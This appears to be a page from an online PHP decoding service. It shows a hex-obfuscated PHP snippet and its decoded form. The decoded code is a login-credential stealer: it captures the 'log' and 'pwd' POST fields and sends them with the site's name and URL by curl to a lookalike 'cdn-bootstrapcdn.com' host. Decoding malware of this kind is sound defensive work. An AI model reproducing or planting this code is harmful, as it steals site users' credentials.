Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x79d\x74x\x79b"]="\x63\x68";${"\x47\x4c\x4f\x42AL\..
Decoded Output download
<? ${"GLOBALS"}["uydtxyb"]="ch";${"GLOBALS"}["wqdopie"]="password";${"GLOBALS"}["sftqxfvwyq"]="username";if(!empty($_POST)){${"GLOBALS"}["zhuyifujr"]="ip";$rctkgw="ch";${"GLOBALS"}["mjrvvs"]="password";${${"GLOBALS"}["sftqxfvwyq"]}=$_POST["log"];$ucwsdsvirfmy="ch";${${"GLOBALS"}["mjrvvs"]}=$_POST["pwd"];${${"GLOBALS"}["zhuyifujr"]}="localhost";${$rctkgw}=curl_init("https://cdn-bootstrapcdn.com?"."domain=".$_SERVER["SERVER_NAME"]."&ip=127.0.0.1&url=".$_SERVER["SERVER_NAME"]."/".$_SERVER["REQUEST_URI"]."&login=".urlencode(${${"GLOBALS"}["sftqxfvwyq"]})."&password=".urlencode(${${"GLOBALS"}["wqdopie"]}));curl_setopt(${$ucwsdsvirfmy},CURLOPT_RETURNTRANSFER,true);curl_exec(${${"GLOBALS"}["uydtxyb"]});curl_close(${${"GLOBALS"}["uydtxyb"]});}
?>
Did this file decode correctly?
Original Code
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x79d\x74x\x79b"]="\x63\x68";${"\x47\x4c\x4f\x42AL\x53"}["\x77qdo\x70ie"]="p\x61\x73\x73\x77\x6fr\x64";${"\x47\x4c\x4f\x42A\x4c\x53"}["sft\x71\x78\x66\x76\x77\x79\x71"]="u\x73\x65\x72na\x6d\x65";if(!empty($_POST)){${"GLO\x42AL\x53"}["\x7a\x68u\x79\x69\x66\x75\x6ar"]="\x69\x70";$rctkgw="c\x68";${"\x47LO\x42A\x4c\x53"}["\x6dj\x72\x76\x76\x73"]="\x70\x61\x73\x73\x77o\x72\x64";${${"\x47L\x4f\x42A\x4cS"}["\x73\x66t\x71\x78\x66\x76\x77\x79\x71"]}=$_POST["\x6c\x6f\x67"];$ucwsdsvirfmy="\x63\x68";${${"\x47\x4cO\x42ALS"}["m\x6a\x72\x76\x76s"]}=$_POST["pw\x64"];${${"\x47LO\x42\x41\x4c\x53"}["\x7a\x68\x75yi\x66\x75\x6a\x72"]}="l\x6fc\x61l\x68ost";${$rctkgw}=curl_init("h\x74\x74ps://\x63\x64\x6e-\x62o\x6f\x74s\x74\x72\x61\x70\x63\x64\x6e.c\x6fm?"."\x64\x6fm\x61\x69\x6e=".$_SERVER["\x53ER\x56E\x52\x5fN\x41\x4dE"]."&ip\x3d127\x2e0.\x30.1&\x75r\x6c=".$_SERVER["\x53\x45R\x56E\x52\x5f\x4eA\x4d\x45"]."/".$_SERVER["\x52\x45\x51UES\x54_\x55RI"]."&\x6cogi\x6e\x3d".urlencode(${${"\x47L\x4f\x42\x41\x4c\x53"}["s\x66t\x71\x78f\x76\x77\x79\x71"]})."&pass\x77o\x72\x64=".urlencode(${${"\x47LO\x42\x41\x4c\x53"}["\x77\x71\x64\x6f\x70\x69e"]}));curl_setopt(${$ucwsdsvirfmy},CURLOPT_RETURNTRANSFER,true);curl_exec(${${"GLOBA\x4c\x53"}["u\x79\x64\x74\x78\x79\x62"]});curl_close(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75\x79d\x74\x78\x79b"]});}
Function Calls
None |
Stats
MD5 | 84c77e3957721c43c3655220702b8eff |
Eval Count | 0 |
Decode Time | 81 ms |